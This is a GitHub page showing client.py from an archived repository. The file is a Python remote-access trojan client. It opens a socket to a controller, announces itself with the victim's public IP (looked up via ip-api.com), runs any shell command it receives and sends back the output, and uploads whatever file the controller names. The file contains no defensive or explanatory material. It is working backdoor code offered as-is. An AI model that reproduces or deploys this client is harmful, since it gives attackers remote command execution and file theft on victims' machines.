This repository has been archived by the owner on Sep 11, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 13
/
client.py
68 lines (50 loc) · 1.4 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-
import socket
import os
import subprocess
from time import sleep
import json
from urllib import request
IP = socket.gethostbyname("localhost")
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, int(PORT)))
class Client:
def __init__(self, DATA):
self.DATA = DATA
def verifications(DATA):
if(DATA == str.encode("command")):
command = s.recv(1024)
Client.command(command.decode("utf-8"))
if(DATA == str.encode("home")):
s.send(os.getcwd().encode())
if(DATA == str.encode("exit")):
s.close()
exit()
if(DATA == str.encode("filesend")):
Client.send_archive(DATA)
def get_ip():
url = request.urlopen('http://ip-api.com/json').read()
jsn = json.loads(url.decode('UTF-8'))
ip = jsn['query']
return(ip)
def command(DATA):
sub = subprocess.Popen(DATA, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = sub.stderr.read()+sub.stdout.read()
s.send(output)
def send_archive(DATA):
filename = s.recv(1024).decode("utf-8")
with open(filename, "rb") as infile:
#filesize = str(os.path.getsize(filename)).zfill(16)
#s.send(filesize.encode())
#sleep(1)
chunk = infile.read(128*1024)
s.send(chunk)
s.send(str.encode(f"Welcome Dad \nI`m {Client.get_ip()}\n\n"))
while True:
try:
rcvc = s.recv(1024)
Client.verifications(rcvc)
except KeyboardInterrupt:
s.close()
exit()